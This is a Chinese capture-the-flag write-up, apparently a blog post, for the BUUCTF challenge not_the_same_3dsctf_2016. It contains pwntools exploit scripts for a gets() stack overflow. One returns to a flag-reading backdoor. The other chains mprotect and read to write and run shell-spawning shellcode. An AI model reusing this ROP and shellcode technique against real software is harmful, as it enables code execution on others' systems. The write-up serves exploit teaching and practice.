BUUCTF-not_the_same_3dsctf_2016

IDA查看伪代码

main函数gets函数存在栈溢出攻击
在这里插入图片描述
通过查看字符串列表,发现有个get_secret读取flag.txt后门函数
在这里插入图片描述

查看编译属性

在这里插入图片描述

思路1,本地可打通,远程不行

也是最简单的,payload构造溢出返回到get_secret函数,并printf打印出fl4g,payload如下

#coding=utf8
from pwn import *

context.log_level = 'debug'

#r = process('./not_the_same_3dsctf_2016')
r = remote('node3.buuoj.cn', 29184)

backdoor_addr = 0x080489A0
str_flag_addr = 0x080ECA2D
printf_addr = 0x0804F0A0
         
# 这个main函数没有push ebp 所以不用再覆盖4字节的ebp
payload = 0x2D * 'a' + p32(backdoor_addr)
payload += p32(printf_addr) + p32(1) + p32(str_flag_addr)

r.sendline(payload)
             
print(r.recv())

思路2,正确解法

利用mprotect函数,直接放直接笔记

# mprotect函数的利用,将目标地址:.got.plt或.bss段 修改为可读可写可执行
int mprotect(const void *start, size_t len, int prot);
argu1 为mprotect函数的第一个参数 (被修改内存的地址) 设置为 0x0x80EB000 (ida-ctrl+s 查看.got.plt/.bss起始地址) 
argu2 为mprotect函数的第二个参数 (被修改内存的大小) 设置为 0x1000 (0x1000通过程序启动时查看该内存块的大小的到的)
argu3 为mprotect函数的第三个参数 (被修改内存的权限) 设置为 7 = 4 + 2 +1 (rwx)

elf = ELF('./pwn')
# ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop
pop3_addr = 0x0806fcc8 # pop esi ; pop ebx ; pop edx ; ret
payload = 0x2D * 'a' + 0x4 * 'b' + p32(elf.symbols['mprotect'])
payload += p32(pop3_addr) # 返回地址覆盖为pop3,目的为了栈还原,因为mprotect传入了三个参数,需要连续3个pop
payload += p32(argu1) + p32(argu2) + p32(argu3)
# 紧接着返回地址为 read对修改的目标地址写入shellcode
payload += p32(elf.symbols['read']) 
payload += p32(pop3_addr) # 同样栈还原,为了执行紧接着的 目标地址
payload += p32(0) + p32(argu1) + p32(0x100)
# read写完后 写入执行的目标地址
payload += p32(argu1)
# 先进行sendline执行到read等待输入
sh.sendline(payload)
# 继续sendline发送shellcode
sh.sendline(asm(shellcraft.sh(), arch = 'i386', os = 'linux'))
# 进入交互模式
sh.interactive()

正确payload如下

#coding:utf-8
from pwn import*

context.log_level = 'debug'
context(arch='i386', os='linux')

local = 0
proc_name = './not_the_same_3dsctf_2016'
elf = ELF(proc_name)

# 这道题本地和远程两种解法,真的干。。。
if local:
    sh = process(proc_name)
	str_flag_addr = 0x080ECA2D
    backdoor_addr = 0x080489A0
    printf_addr = 0x0804F0A0

    payload = 0x2D * 'a' # 这边不用覆盖ebp,在于get_flag并没有push ebp
    payload += p32(backdoor_addr) + p32(printf_addr)
    payload += p32(str_flag_addr)
    sh.sendline(payload)
else:
    sh = remote('node3.buuoj.cn', 28308)
    mprotect_addr = elf.symbols['mprotect']
    read_addr = elf.symbols['read']
    pop3_edi_esi_ebx_ret = 0x0806fcc8
    mem_addr = 0x080EB000 #.got.plt 的起始地址
    mem_size = 0x1000
    mem_type = 0x7 # 可执行权限

    payload = 0x2D * 'a'
    payload += p32(mprotect_addr)
    payload += p32(pop3_edi_esi_ebx_ret)
    payload += p32(mem_addr) + p32(mem_size) + p32(mem_type)
    payload += p32(read_addr)
    payload += p32(pop3_edi_esi_ebx_ret)
    payload += p32(0) + p32(mem_addr) + p32(0x100)
    payload += p32(mem_addr)    #将read函数的返回地址设置到我们修改的内存的地址,之后我们要往里面写入shellcode
    sh.sendline(payload)
    # read写入shellcode
    payload = asm(shellcraft.sh())
    sh.sendline(payload)

sh.interactive()

答案

在这里插入图片描述

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值